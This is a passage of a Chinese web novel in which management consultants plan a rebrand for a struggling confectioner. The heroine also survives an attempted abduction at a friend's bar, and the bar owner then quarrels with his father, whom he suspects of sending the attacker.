九月也提前将这个简单的道理跟唐沁讲的很明白,给改革工作做了前期铺垫工作。因此,后来唐沁在管理层会议上宣导提议也算顺利通过。 具体方案出来之前,从每个人的眼神中,还是存在质疑。 “撤掉一块板砖的同时,要创造一块黄金,以此来稳住局势。”尚云人狠话不多,这是一句暗喻,也是必行之路。 木信则延着尚云的思路发散,“撤掉?就是说要变更主营业务?那相当于二次创业。” 他的意思是,这项目难度不是一般的大。 “我们接手的客户,哪个不是在帮他们二次创业?尽量让复杂的问题简单化,每个企业存在于世,必然有过人之处,把他的过人之处凸显出来,打造成产品护城河,才能立于不败之地。” “糖世家......”木信还是没有找到着力点,“在产品上表现平平,他们才铤而走险,久而久之变成业界人人喊打的对象。”意思是若是有过人的实力,何至于今天这样? 一直没说话的九月,其实是这个项目的主要负责人。 尚云自然不会放过她,此时将目光转向九月,说道:“我想听听你的看法,毕竟这个案子是你经手,我看过你梳理的一手资料报告,研究得比较透。” 第四十章 “糖世家”的变身 九月似乎在沉思,但在尚云问起她的时候,她已经反应过来,“你们说的对,只能彻底变更主营业务。根据尚总所说,借优势打造产品护城河,但他们的优势的确不在糖类产品上。” 尚云和木信短暂的对视一眼,听九月继续讲下去。 “之前我随尚总在糖世家出差三天,查阅了糖世家大量陈年资料,得知已过世的唐老爷子是包装设计师出身,他设计的外包装设计曾在国际上获过奖,后来成立唐王设计公司,那才是糖世家的前身之一。 “之一?”木信忍不住疑惑。 “糖世家是合伙公司,创始人有两位,其中一位在五年前退股了。”尚云简洁地解释道。 “哦!”木信点点头。 “没错。唐王设计公司诞生后,那年代国内的设计市场需求有限,空有一身本领,他只能接手一些别的业务存活下去。当时一个食品行业客户销量不行,正想办法提高销量。 于是,委托他帮客户销售糖类产品。 由于他的名气高,具有一定权威,又加上有广告渠道。一个月下来,产品销售量大大超过客户公司在职的销售员。 客户喜出望外,便决定借助唐老爷子的优势合作,两人很快便达成共识,唐家正式入股食品行业,并将自己的设计与产品融为一体。 经过多年的发展,‘糖世家’便成了这家食品公司的新名号,而唐王设计公司成了‘糖世家’公司的一个部门,不再接外单。 对于那时还不注重外观包装的市场来说,‘糖世家’精致大气的包装设计让他们食品的销量远远超过同行。但好景不长,成也萧何,败也萧何。 正因为知道自己的优势,忽略了产品本身,没有随着时代变化而迭代改良,反而是包装设计一年比一年出彩,大有宣宾夺主之势,成本上也因为精致的包装不断升级,导致产品价格抬高,在产品制作质量与口感上一再削减成本。 后来,客户群也慢慢消失了。 糖世家为了再次挽回颓势,便开始走向不归路,采用了一些特殊手段,愈演愈烈,成了今天我们看到的局势,” 九月说完后,看着二人投来赞赏的目光,面不改色继续说道:“所以主营业务变更,只有一个方向,就是变更营业范围,但又不能去一个完全陌生的行业领域,唯一的选择是主打设计制作食品包装。 以唐家二小姐唐沁与唐大小姐都是设计高材生的身份背景,完全可以在这一块走得更远。再加上他们做了多年的食品制作,在食品类包装上有得天独厚的经验和市场嗅觉,更清楚卖点展示和各类食品对包装的需求,不如趁机下架所有主营业务,开始进军食品包装市场。” 木信一脸名师出高徒的自豪笑容,转头对尚云说道:“我看行!” 九月所说,正是尚云所想。 一直听木信说她进步神速,便想试试她的深浅。今天听她在繁杂线索中,精准锚中重点,能思路清晰说服于人,着实出乎他的意料。 尚云眼底闪过一抹欣然,但脸上依然平静如水,“好,既然定了思路,就跟唐二小姐尽快确定方案,开始新一轮改革推进。木信,” “到。” “你负责糖世家对外接洽,管理指导,从接手第一批订单到生产质量,在这一系列你的经验比较老道,尽快带领蓝鲸7队完成这个项目。” “没问题。” “九月。” “在。”九月看着他。 尚云下意识放缓语速:“企业转型跨领域发展,说起来容易,在实施过程必然存在很多困难。你在品牌上有自己的工作经验,所以,在糖世家的广告宣传方面,你要多花点心思,包括构思设计也要融进品牌概念,早早将他们的新产品文化品牌意识树立起来。” “好的。” “那没有其他问题,就去忙吧。”尚云吩咐道。 下班时,九月稍微加了会班,已经度过最初兵荒马乱的阶段,现在对工作事务都得心应手,能有效安排时间。所以,还是会加班,但已经不需加到很晚。 出了大厦,就接到小竺的来电。 这家伙是掐着点打的吗?九月心道。 接了电话,原来是约九月去一个新开的露天酒吧,说是替朋友捧场。 九月本想推却,但抬头看了看天边火红晚霞,“露天酒吧?行,你发定位过来。” “不用,莫诚在你公司门口等你。” 看来,这九月四处张望,果然看到莫诚那辆扎眼的名贵轿车停在不远处,莫诚正好也看到了她,下车站在车旁朝她挥手。 看到九月走来,他绅士地把另一边的车门打开。 “莫诚,又见面了。” “哈哈!好有缘啊慕小姐。”莫诚心情不错,看她坐进去,替她关上门。 “没办法,谁叫地球是圆的呢,走哪个方面都能再见。”九月见了他,忍不住调皮两句。 “坐稳咯,现在就带你去一个好玩的地方。” “好玩的地方有七月桃花酿吗?”九月低声调侃道。 “只要你想喝,它就会摆在你面前。”说着用语音唤醒智能系统,呼叫法兰。 九月只是随口一句玩笑,没承想莫诚真的在电话里,跟法兰说,“准备五瓶七月桃花酿,十五分钟后我们就到。” 她对他说风就是雨的架式哭笑不得。“你应该知道我是开玩笑的。上次差点耽搁工作,不敢这么喝了。” “你的每一句话,我都会认真。”莫诚冷不丁深情说出这句话。 气氛一下子降温般,冷寂起来。 “你不适合这个模式,莫诚。我还是比较习惯你活跃的一面。”九月启动姐姐模式,试图四两拨千金。 好在莫诚也并不在意九月的态度,嘴角噙笑,“得咧!今天带你活跃带你飞。” 九月低声一笑,转头看着窗外。 夜色慢慢降临,露天酒吧在一处远离市区的新建广场。 这里原来规划做商业区,但后来一直没做起来。自建成以来就没有几家商户入驻,凌凌落落,原来入驻的几家也搬走了。 于是地产商四处拉投资,欲将这一片带动起来。而露天酒吧入驻就是第一步,先聚人,再聚财。 今天处于开业期,消费达到一定额度就有很低的折扣,吸引了不少人群。 周边特意布置的七彩灯光,宽敝的场面,四面巨大漂亮的氢汽球,还有定时烟花燃放,重点是酒吧邀请了两组摇滚歌手上台助兴,音乐振天,在现场音乐节奏的带动下,众人不自觉就沉浸在狂欢摇摆中。 第四十一章 黑香水酒吧 小竺早就在露天酒吧入口处等她,她旁边依着一座假山,假山上竖着一块广告牌“黑香水酒吧”。 “我听说人未到,点的酒先到了。”小竺惊讶的看着她:“这可不像你哦。” 九月也不解释,抿唇道:“到什么山唱什么歌,来了酒吧就摆出酒迷的样嘛,你怕了?” 小竺咯咯笑了:“开国际玩笑吧?从来只有放不开的九月,何时有豁不出去的小竺啊?” 说完牵着九月就走,兴奋地道:“进去吧。” 九月漫不经心的环顾四周,广场建筑因长年弃用,呈现出颓态,但正应了酒吧黑色颓迷的风格,天边渐渐呈夜幕之色,酒吧中央的舞台倒是显得愈发流光溢彩。 舞台上的摇滚歌手唱着重金属摇滚乐,声嘶力竭,浮躁的音符灌满空间,加上灯红酒绿,烟气烘托,升腾出躁郁到想狂野至死的迷乱。 旁边也设有几个贵宾包厢,玻璃水晶饰品墙看起来独特又显得暖昧。 有喝着酒聊天的,也有人随音乐起舞者,气氛活络,也有些酒客乘兴上去唱一首,舞一段,吆喝声,掌声,口哨声,甚是热闹。 这种场所虽不乏三教九流,但大多是过惯了热闹夜生活的普通吃客。因为这里的酒水优惠力度大,又能享受不错服务,还有难得一见的摇滚歌手驻台演唱,这是生意爆满的一部分原因。 四周商务楼房,形成一个圆圈,把露天草坪和中央的玻璃舞台圈在正中心。从高空俯瞰,整个黑香水酒吧就像小型的城中城。两层楼房里其实就是包厢,设有高档消费,与露天大坪地的大众化不同,这些包厢内装饰豪华,完全看不到低端消费的影子。 反正一句话:雅俗共飨,丰俭由君。建立这个露天酒吧的,如果不是得天独厚的本地人,就是有投资头脑的精明商人。 九月和小竺挑了个位子坐下来,很快,侍者端着两人点好的果盘、零食小吃和鸡尾酒过来。“两位晚上好,这是老板给每桌客户赠送的神秘礼物。”说着,放下一个精致的包装盒。 九月好奇,拿起来在灯光下研究,全英文字,包装盒上的品牌“GEEKVApE”格外醒目。“这是什么?” “这是国外较潮流的GEEKVApE电子烟。酒吧老板为了扳回大家对酒吧二手烟缭绕的不良印象,特别用它取代传统草烟,不会产生有害二手烟。为了把酒吧名号打响,他可是下了血本了。” 九月暗暗吸鼻子,心忖道:怪不得总感觉不一样,这个酒吧一是露天环境,天然氧吧;二是空气里没有呛人的烟味。 便说:“的确没闻到二手烟,还有淡淡香味。这是为了呼应酒吧‘黑香水’的名字吗。” “哈哈,香味也来自于电子烟。它的各种烟香味深浅层次感,很好闻,比如这一支,初闻是果香、再闻幽幽清香,有如香水。”小竺拆开包装,将一枚造型圆润的青色陶瓷电子烟拿在手里把玩。 九月接过来,凭借自身职业对品牌的敏感,她仔细看了看全英文外包装,发现GEEKVApE是国内“基克纳”旗下研发制造的出口产品。 这家公司在研究方面投入巨资,且有自己的博士科研机构组成的研究院。 怪不得一个普通产品都如此精致,背后有着对产品的精研和雄厚实力,她不禁暗暗赞叹。 良久,像是想起什么:“小竺,你以前有没有来过这里?” “来过啊,三天前开业就来捧场了。来这里的人都是想找快乐的,不用担心安全?” 九月猜测:“开业就来捧场?酒吧老板是你朋友?” “哈哈!酒吧老板远在天边,近在眼前。”小竺挑挑眉,看着左边走过来的人。 九月侧头一看,莫诚泊车回来了,还没走到她们这,就被临桌的朋友拉住聊天。 他无奈笑着朝九月这边招招手,示意一会儿过来,在临桌坐下了。 九月恍然大悟,“莫诚是酒吧老板?呵,这确实挺符合他的特性。” “哦?”小竺饶有兴致地凑过来,“他有什么特性,说来我听听。” “你想什么呢。”九月好笑地道:“他,看起来阳光外向富有活力,但心思极其细腻,而且在商业方面极具敏锐嗅觉,凡事都走在前沿尖端,引领潮流。” “哦?怎么说?”小竺被她的评价勾起好奇心, “他创建电竞公司在当时是新事物,现在创建‘黑香水酒吧’引入电子烟高端产品,颠覆传统印象为卖点,同样潮流尖端。他似乎总能带动行业发展,给人带来惊喜,见过世面确实不一般。” 小竺沉默了,她笑着点点头:“你具有一双慧眼,轻易看到别人视为寻常的优点。没错。他从小不喜欢呆在家,每年暑假独自在外游荡,去过很多国家,走过很多城市。他今天创造的一切,都是过去闯荡世界的积累。” 不喜欢呆在家?这句话触动了九月的对莫诚的印象。 她想起在江边餐厅“御品轩”,莫诚看着江景说过的一番话。 【“你不觉得这里很有家的感觉吗?” “家?” “每次来这里,看看江面,看着岸边那些点满莹莹灯光的高楼住房,就像置身其中,有一种被人间烟火包裹的感觉,温暖亲切。” “很奇怪吗?我从小没体验过家庭温暖为何物。”】 莫诚明显非常渴望家的温暖,然而却不喜欢呆在家,这么大的冲突恐怕有一些深层原因。 但是,作为学妹的小竺怎么会知道?“你怎么知道他从小不喜欢呆在家了?” 九月心里的疑惑不经意便说了出来。 “这……”小竺有片刻的哑言,见九月表情怪异,倒不敢敷衍:“他是我学长啊,以前......无意间聊天透露的。” “只是学长,聊天会聊得这么深入?”九月狐疑,道:“小竺,你跟莫诚不会只是学长学妹这么简单吧?” 她半开玩笑半认真的问她。 “他......我......很正常的,很正常。”小竺眼神有点飘忽。 九月盯着她,面无表情地说:“小竺,我们相识这么多年,我怎么突然感觉……你好陌生。” 小竺怔怔看着她,一时语塞。下意识两只手交握在一起,这些小动作,怎么躲得过九月敏锐的眼睛。 良久,九月扑哧一声笑了:“小竺,你干嘛这么紧张。” 见小竺脸上仍是一脸戒备,九月深深吸一口气,又长长叹了出来:“如果连你也不可信,那天下无可信之人了。” 小竺埋下头,看着面前颜色绚丽迷人的鸡尾酒。 “所以,我当然相信你。莫诚是你介绍给我认识的,你了解他不正是对我负责吗?”九月突然咯咯笑起来:“最近工作压力大,迷上剧本杀解压了,刚才跟你玩角色转换呢。” 小竺绷紧的神经终于松懈下来,“九月,你刚才说的话,吓到我了。” “好啦,我开玩笑过火,向你赔罪好不好。” “我不管,你要自罚三杯!。” “认罚。”九月很痛快,拿起桌上的鸡尾酒一饮而尽,脸上表情难以言说。 缓了缓,又将七月桃花酿打开,斟了三杯,一饮而尽。 第四十二章 遇险 “我跟莫诚是兄妹。”等九月喝下最后一口酒,小竺突然语出惊人。 说完定定地看着九月,眼睛一瞬不瞬看着她反应。 酒液滑入喉咙,九月还没缓过来,就听到这句话,她愣了一瞬便笑道:“你这是现学现卖啊!角色转换学得挺快。” “是真的。”小竺脸上的表情不像是开玩笑,像是豁出去了一样:“他是我亲哥哥。” “还想诓我,你姓箫,他姓莫......”九月突然刹住话头,脸上的笑容也凝住,她想起莫诚跟随母姓。 “他随我母亲姓莫,我随父姓箫。九月,当初是我隐瞒在先,我自罚三杯。”小竺也学她,自斟自饮。 九月慢慢坐正,自问对小竺的性格很了解,对这份友情很自信,她从不打听小竺的身世背景。至今,她仍不知她家里有几口人,都在社会上扮演哪些角色,那些跟她们之间的友情有什么影响? 这也许是长期以来,她跟来历不明的尚云就是这样相处的,已经形成了这种价值观。 愿意告诉她,那么她全盘接受;隐而不宣的事物,她也绝不会带着侵犯刨根问底,反而在别人向她打听时,还下意识保护他的秘密。 “九月,你喜欢莫诚吗?”喝完三杯酒,小竺热切的注视着她。 这句直白的询问,让九月无所适从。 “那次我们俩一起吃饭时,你终于对终生大事的态度有所松动,我才想着把我哥哥莫诚介绍给你。我了解莫诚,他是个值得托付的男人。” “你此前所有的委屈,都会在他这里得到补偿。我刚刚听了你对他的评价,说明你对他的印象也不坏。九月,你要勇敢跨出这一步,没有人比我更希望你过得好。” 九月陷入沉默。小竺说的话,她相信。 这时,摇滚歌手退出舞池,dJ开始放劲爆舞曲, “女士们,先生们,现在进入我们的狂欢摇摆时光。请所有朋友来到舞池中央,放下人世间所有烦恼,工作上的所有压力,跟着我的音乐节奏一起摇摆。” 人们纷纷走至舞池中央。 “今天是黑香水开业第五天,我们的美丽帅气的工作人员,会在舞池给有缘人派发神秘礼品。意外惊喜从天而降。狂欢吧-噢!噢!噢!跟着音乐,three two one-jump-jump-jump跳起来!” “打开你的心扉,找到你的节奏,忘掉生活的苦,忘掉人际的巻,忘记全球危机,这一切真正属于你自己,彻底放松吧朋友们!在黑香水酒吧找到欢乐,让你满载而归。摇摆!噢!” 小竺不再说话,因为此时现场音乐声能吞没任何言语,需要在对方耳边喊话,才能听到声音。 她给九月斟了一杯酒,也给自己斟了一杯,这时,莫诚也回来了,看着安静坐着的两人,大声说道:“这么欢乐的气氛,你们在想什么?走啊,放飞自我!” 音乐声太大,他大声说话,也听不太清。但两人从他的手势依稀明白意思。 不由分说,拉着小竺和九月,一起走进人群涌动的舞池。 热列的气氛,震耳欲聋的迪斯高音乐,一度沸腾。在酒精的作用下,精神亢奋的男男女女们全都涌上宽敝的露天舞池,拥挤而有序舞动。 莫诚将九月护在身边,小竺刻意跟他们分开了,留他们单独相处。 她融进人群,跟着音乐扭动身体,肆意地笑,偶尔大声呼喊。优质高振动的音响声掩盖了一切声音,九月目光追寻她的身影,莫诚在九月耳边说话,叫她不用担心小竺。 但九月听不清楚,只觉得莫诚靠得太近,他身上香甜酒味沁入鼻端,热气呼在耳后,九月没来由就面红耳赤。好在灯光五颜六色,根本不会被人发现。 酒吧是一个容易产生迷乱荷尔蒙的地方,九月对莫诚的印象,很快从一个曾经在训练场并肩作战的同事、阳光帅气的朋友,转换成魅力四射成熟细腻的男人。 她不敢看他眼睛。在人群拥挤中,时不时把九月撞进莫诚怀里,莫诚伸手护住她。想起小竺那番话,让她有一瞬间就想放弃心中的执念:要不,试试吧。 这时,莫诚感觉手机在口袋里振动,他拿出手机看了一下,朝人群外看了一眼。便低头在九月耳边说:我去去就来,你等我。 莫诚走后,九月费力躲过撞过来的一个醉男,本就不太适应这种场所,就想退出人群。她想跟小竺去打声招呼,人太多,都在挥舞着双手跳着热舞,叫喊着连自己都听不到的节奏。 九月在人缝里喘不过气来,放弃去寻找小竺。 她朝人群外围走去,这时,一双男人的大手粗鲁的掠过她的腰肢,又在她身上肆意游走。 九月大惊,回头推开身后高大的男人。男人一双眼睛放着猥亵狠光,对九月的怒目视而不见,半搂半抱地把九月往阴暗的角落拖去,大块头的身体遮住了九月纤瘦的身子。 此时莫诚的视线就从高个男人身影上移开,继续焦急的搜寻着九月的身影。 人群里早已没有了她的身影。抬眸扫视一圈,到处是鼎沸人群,凌乱照射的彩灯。舞台本身就弄成七彩霓虹灯,光线很暗,他绕着舞台转了个圈还是没找到她。 一个大活人怎么会凭空消失了? 小竺踉跄挤出人群,朝洗手间走去。 莫诚看到她,跟过去。这时,一个满身酒味的女人突然横过来,撞在莫诚身上。“对......对不起……” 莫诚不悦的推开她,女人却醉成烂泥,死死抱住莫诚的胳膊。莫诚只得粗鲁扯开她,再追过去时,早已没有了小竺的身影。 九月已被带离喧嚣的人群,被男人携进车库。她的嘴被手掌捂住,发不出完整的呼救声,一双纤细的手挥舞挣扎,无奈力量悬殊,她的挣扎根本就是徒劳。 男人走近一辆白色面包,在打开门的瞬间,九月趁机头一偏,张口咬住男人的手,男人吃痛惨叫一声,松开了手。 “救命啊……小竺,莫诚………”那些恐慌,那些绝望的记忆,全部复苏过来,疯狂的涌进脑海,她只觉心口窒息,冷汗直冒。 九月刚跑出两步,就被男人又扯了回来。 “你找死!”男人大怒,一巴掌甩在九月脸上,这用力的一掌让九月站立不稳,撞在一辆银色轿车上。 九月顿觉眼冒金星,耳朵发出嗡嗡蜂鸣声。轿车发出报警鸣音,在停车场空旷上间里发出长鸣。立即又被高个男人粗鲁拽起手臂,拽到刚才打开车门的车上。 这时,一个人影闻声闪过来,飞起一脚,直攻高个男人的后脑勺。 第四十三章 父子决裂 高个男人一看来势汹汹,心知不妙,丢下九月,躲过一脚。戴着黑帽的来人趁着高个男人没站稳,再飞起一脚,不偏不倚的踢在男人的头上,高个男人被踢翻在地。大喝一声暗号,从暗处冲出三个穿着黑色背心的男人。 黑帽见高个男人有埋伏,嘴边微微一勾。一边活动手腕,一边微微移动穿着皮鞋的脚。 突然一记漂亮的空翻,如影子般已跃至刚刚出现的三人跟前,左勾拳右踢腿,眨眼功夫,连带高个男人,四个就被扔在一堆。躺在地上哼哼唧唧,喘着粗气动弹不得。 莫诚领着酒吧经理和安保人员赶来,打斗已经结束。 “全部给我绑起来,报警。”莫诚下令,暗暗捏拳,强行压下一切疑怒。五个安保人员找来绳子,把四人牢牢捆起来。 环顾一周,找到惊惧坐在地上的九月。 莫诚走过去,单膝跪地,半抱起地上的九月。她脸上的指印赫然在目,额角撞到车角,磕破了皮,血慢慢往外渗,顺着脸颊流下来,血液染红了浅青色上衣。 “九月……感觉怎么样?”他气息不稳的轻轻叫她,修长的手指小心的撩开她额头伤口上的头发。 酒吧经理递过来纸巾,他面色阴沉,接过纸巾轻柔的帮九月擦试血迹,按住伤口。 刚刚打斗的来人,见有人照顾她,朝她微微牵动唇角,便转身离开。九月昏昏沉沉地望着他的背影,直到在拐角消失。 这时小竺也闻讯赶来,看到莫诚怀里脸色惨白血流满面的九月:“九月,九月,你别吓我,我打电话叫救护车。” “不打了,你去开车,马上送去医院。”莫诚着急道。小竺转身去停车位,打开自家车门,看着莫诚抱着九月上车。 她一踩油门,车子飞驰出去。 宝宁医院。 冰凉的针尖刺入肌肤透入血管,冰凉的液体随着这一刺痛沁入血管里,鼓涨的感觉从手背向周身漫延。九月睁开眼睛,映入眼帘是一片惨白。白天花板,白床单,白色墙壁,白色的炽光灯。 自己躺在医院病床上,房里除了自己和正在给她输液的护士,一个人都没有。蓝色百褶窗帘没有拉上,能看到窗外的绰绰树影。 “护士。”九月看着扎进手背上的透明输液管,从床上坐起来。 “慕小姐你别动。”护士很温和,轻声细雨嘱付道:“你头部遭到重击,外伤不算严重。医生刚给你作了ct检查,颅内有轻微脑震荡。可能会有轻微头晕和恶心,都是正常的,没有大问题,不用担心。” “哦,那我打完针就可以回去了吧?”她不习惯医院里白色的环境。 “暂时不能回去,你家属有交待,说是让你留院观察一晚。输完液好好休息,明天才能走。” “我家属?”九月疑惑不解,忽然想起小竺和莫诚:“送我来医院的人呢?” 护士想了一下,说:“知道你没事,好像有急事离开了,临走还特地交待我在这里陪着你直到你醒来。既然你醒了,那我就不打扰了,好好休息。如果有什么需要,按下床头上呼叫铃,我会马上过来。” “好,谢谢你。”九月轻轻点头。 “应该的。”护士翩然离去。 房间里很安静,只听到自己呼吸声。九月睁着眼睛,眨也不眨的看着天花板。虽然强迫自己不要去想刚刚发生的事情,但那惊险一幕却总是一遍又一遍的浮现出来。 记得在挣扎的过程中,高个男人威胁她:“不会对你怎么样,但你不乖乖就范,就不一定了!” 很明显这不是偶尔发生的事故,此人就是冲着自己来的。回想事情发生的经过,不由惊出一身冷汗。 九月抚摸着贴了药棉的伤口,回想危急时刻是阿闲出现,救她于水火。 尽管他戴着黑色的帽子,帽檐压得很低,她还是很快认出了他。 阿闲怎么会出现在黑香水酒吧?一个普通职员怎么会有如此出色的身手?平时阿闲给人悠闲温吞的印象,跟今晚见到的出手灵敏狠厉的人搭不上边。 莫诚和小竺去哪了? 出了这种状况,莫诚是酒吧负责人,如果报案,此时估计得配合调查。小竺既然是他妹妹,也一定要去了解情况。 九月这样合理推测,看着点滴一滴滴流进手上插的针管里,镇静剂在身体里的作用下,又沉沉睡去。 她猜对了一半。 莫诚和小竺的确去配合调查,但对方一口咬定说,是九月跳舞时踩到他的脚,他本来就心情不好,加上喝了一点酒,一气之下就动手了。 停车场有个路人出来打抱不平,一起喝酒的三个兄弟才出手帮忙。 警察盘问不出什么,也没有特别严重的伤害。 于是按照规定对九月作了医疗和精神伤害赔偿,拘留十五天,也就结案了。 莫诚心里酝酿着一股火,他料定事情并非如此简单,于是,驱车去了南庆庄。 南庆庄,那是宝宁市近几年来最昂贵的地皮,青山环绕,绿水常流,乃居住良地。而他们的家就在南庆庄——实则只有父亲箫章一人居住在那栋大别墅里。 小竺在后面劝说无用,便也驱车跟在他身后。 车子一停稳,莫诚便气冲冲推门出来。进了富丽堂皇的宅子,诺大的客厅只有一个衣着得体的阿姨在收拾桌子,看到莫诚,惊讶的叫了一声“莫少。” 莫诚一反常态不搭理她,径直奔上二楼书房。 不一会小竺也匆匆推门进来,阿姨更惊讶了,又叫了一声“二小姐”。 同样,小竺也没有以往的客气,一脸焦急匆匆奔上二楼。 就听到书房里怒焰四起。 “你为什么总要干涉我的事!为什么要派人阴魂不散围在我身边!你到底想干什么!是不是要逼死身边的人,抱着一堆钱财过下半辈子才放手!你自己践踏幸福,也见不得身边的人幸福是不是!” “莫诚!深更半夜你发什么疯!”坐在书房的中年男人怒喝,他正是莫诚的父亲箫章,把眼镜摘下狠狠丢在桌上,从桌子后面走出来。 “我疯也是你逼的!你有什么资格管我,有什么理由来干涉我!” 小竺奔进书房就看到剑拔弩张的两个人,她用力拉着莫诚往门口走:“哥,哥,别说了......” “别拉我!” “箫小竺!你不要拉他。今天不把话说清楚不要离开!” 小竺急得快哭了。 她站在二者中间,举着双手示意都停下来。气喘吁吁地咽了咽干涸的咽喉,嘶哑着声音说道:“你们,都别吵。都别吵了。能不能好好说话?能不能不要一见面就像死敌?今天发生的事,我来说,我先说,好不好?” 小竺简洁快速地把事情原委说了一遍,莫诚在旁听得又是怒从心起。 “除了你的人,谁敢在我的地盘闹事!前段时间都尾随到她的住处了。你要做什么我心知肚明,天下没有一个人像你这样冷漠狠毒......” “啪”清脆的一巴掌,甩在莫诚脸上。 “爸!”小竺惊叫。拉开箫章。 书房沉寂了一瞬。 莫诚咬牙切齿地道:“我没有你这样的父亲,也请你高抬贵手,别再管我的事!如果她再有个闪失,我就去马路上一头撞死。说到做到!” “滚!滚!都他妈给我滚!”箫章捂住胸口,声嘶力竭地喝道。 小竺见状,扶住父亲。“爸!你怎么了?” 莫诚头也不回,冲出家门。 “哥!莫诚!”小竺喊道,莫诚早已不见人影。 箫章用力拂开小竺搀扶的手,胸口疼痛涨红了脸,还憋着一口气骂道:“都别回来了,永远别回来!” “别生气了,爸,喝点水。”小竺一边扶箫章坐下,倒水给箫章喝,刚咽下去,就“哇”的一声,喷射性呕吐一大堆。 小竺没见过这阵仗,吓得脸色惨白,声音都变了,朝楼下喊道:“秦姨,秦姨!帮忙叫救护车,快!快!” 秦姨应了一声,慌忙拨打医院电话。 第四十四章 一体共生的同路人 九月睡得模模糊糊,一张张狞笑的脸全冒出来,仿佛近在咫尺。 她只感觉自己陷入了无底的黑洞,寒冷而恐惧。她拉过被子盖住头,淡淡的消毒水味和被子沉闷的味道隔断外界的氧气,她在这种窒息中,寻到一丝轻松。 在她意识渐迷的时候,一只手轻轻揭开她的被子,九月随着亮光而慢慢睁开眼睛,入眼的是刚才那位护士小姐。 “慕小姐,你睡觉的时候不要用被子蒙住头,这样睡着了很危险,容易发生窒息。”护士小姐轻声提醒。 说完看到九月通红的双眼,有些惊讶:“怎么了?你哪里不舒服吗?” 九月摇摇头,又闭上眼睛:“我没事。” “如果感觉不舒服一定要告诉我。”护士把包装整齐的一只纸盒子放在床头柜子上,“送你来医院的那位先生给你带了夜宵过来,叫我转告你趁热吃。” “他人呢?”九月再度睁开眼睛,问道。 “在你门口站了好一会儿,刚刚走。”护士把病床上的简易伸缩桌固定好,拿出一只碗,把粥和排骨鲜藕汤一点点舀进碗里,“你先用餐,需要帮忙你再叫我。” “好,谢谢你。”九月并没有立即用餐,而是伸出手去拿包装袋,隔得远,马上扯到输液针,手背传来尖细的疼痛感,手反射性的缩回来。 “小心,尽量不要让左手使力。如果针头穿过血管,容易发生出血瘀肿。”护士说,走回来把包装盒拿给她,细心检查她的手背,吩咐了几句才走开。 她的视线盯着包装袋上“御品轩”三个字。 御品轩离这里有一段距离,这么晚了,还费心思大老远去江边餐厅御品轩买吃的。可能是因为上次吃饭,她夸餐厅的排骨鲜藕汤好喝。 无意中说过的话,他却记在心里。 这样的人,十二年来只有莫诚一人。九月心里曾经一度阴郁的一隅,像是突然洒了阳光,那一瞬间长出郁郁青草,繁荣茂盛。 如果在黑香水酒吧只是气氛烘托使然,那么现在就是清醒的决定。她将从黑暗里,迈出那一步。 万物向阳而生,人也一样啊。 第二天,九月照常上班了。 为了不引人注目,在伤口处理方面,特意让医生将她额角的纱布揭掉,上了药,用两个小小的创口贴盖住伤口,周边的淤青则用流海一盖,基本藏严实了。 在茶水间遇到阿闲,她欲言又止想要问起前一晚的事情。阿闲却像什么也没发生,跟往常一样嘻嘻笑道:“你看起来气色不错哟!喝咖啡吗?我煮得有点多。” “我......不用,谢谢闲哥。” “唔,那我去问问木信。”说着端着咖啡壶出去了。 九月回到坐位上,木信果然在喝咖啡,见九月回来,放下杯子说道:“九月,来得正好,刚刚看了你给我的邮件。ppt做得非常不错!问题诊断还存在偏颇。把大量的责任归结成‘人”的问题。” “我是这么想的。如果每个岗位,态度端正,对工作负责任,对产品的品质意识较重视,可以解决80%的问题。这就是事实啊。”九月解释道。 “对。这些都是事实。但这些是浮在表面的现象,我们看得到。看不到的20%才是根源,它能决定了看得到的这80%部分。” 九月作思索状,点点头又问道,“嗯,可以再详细指点吗?” 木信道,“这么说吧,员工就像温度计,企业发高烧了,高烧是企业浮现出来的症状,根源在于生病发烧的原因,比如人抵抗力弱,受病毒感染,或是身体产生炎症引起发烧,就像企业管理流程或是管理者本身、公司机制文化等因素出了问题,也必然导至企业高烧。 但现在我们如果只解决他高烧的问题,或是换温度计,对真正的病源无济于事。要解决体内导致生病高烧的根源才能彻底杜绝现象。” 尚云不知什么时候站在门口,他干咳一声,两人俱停下来,看着尚云走进办公室。 他的目光落在九月脸上,准确地说,是落在她的额头。 脸上浮现不悦,目光也跟着阴沉了不少。 九月半天才反应过来,他为什么直直盯着自己。刚才跟木信讨论工作,流海垂下来遮住眼睛,她就用手往后拢了拢,全然忘记额角的伤。 这会儿不自在地的整理头发,将流海全部盖回去。 “老板。”木信诧异地叫了一声。尚云寻常不会来他们办公室,今天破天荒了。 “尚总。我正在请教木信总助业务上的事情。” 尚云总算移开视线,他点点头:“木信洞察力很强,问题分析这一块也是强项。跟着他好好学。” 九月点点头算是应答。 他又转头看着木信:“这家客户此前一直发展得非常好,在技术和产品质量上是能得到客户认可的。这中间经历了一次挫伤,他们不愿意跟我们讲,我们也不能明问,但是必须了解事情演变经过,知全盘方能对症下药。这就靠个人的专业能力和见微知着的能力了。” 木信也很清楚这一点,但心里有更大的疑虑:“这家客户现在存有一股不正之风,如果我们的方案想彻底解决这个问题,必须连根带泥,拔出一串。 如果只是泛泛惩罚的建议,似乎解决不了这个问题,还会留下春风吹又生的隐患。 同时,我们......我们也只是他们聘请的管理咨询公司,生杀大权这等事要问过公司责任人,我也拿不定主意,所以......实在为难。” 尚云没有说话。九月却感觉他正裹着一团暴风雨。 木信还想补充什么,被九月偷偷拉了拉衣袖。 良久,尚云低沉的声音非常缓和,甚至缓和得有些刻意:“木信,如果凡事都要问客户,那花钱请我们来解决问题的价值在哪里?他们在局中,我们在局外,站在最有利的最清醒的上帝视角,看清了一切,却让迷雾中的他们来做决策。” 他停顿了几秒,将泄露的情绪收了收:“你要知道一个原则:凡事只要是遵从了正确的价值观,遵从了良知,做出的任何决定,就算会伤害到一部分人的利益,就算有连带关系,你不忍心也要坚持到底。这是为你的工作负责,也是为你的客户负责!” 尚云走到木信面前,声音不大,却足够惊心:“你知不知道,你刚才犯了一个很严重的错误。” 木信沉默片刻,摇了摇头。 “我们的十条铁律中第六条,说的是什么?” 木信凛然,说道:“坚决抵制‘零和’规则,坚守‘双赢’底线。” “你将公司的定位,看作是客户聘请的管理咨询公司,就等于隔岸观火、置身事外。才会觉得为难,要他们自己做决定,好撇清‘恶人’的名号。” 木信张了张嘴,想申辩几句。 尚云却突然提高了音量:“不要说你不是这个意思,你潜意识就是这么想的!” “如果你将自己看作是客户的合作伙伴,一体共生的同路人。你就会守住‘双赢底线’,眼中只有最利于客户的解决方案,而不是感觉为难。在这条路上,客户生我们生,客户亡我们亡!没有第三种结果!” 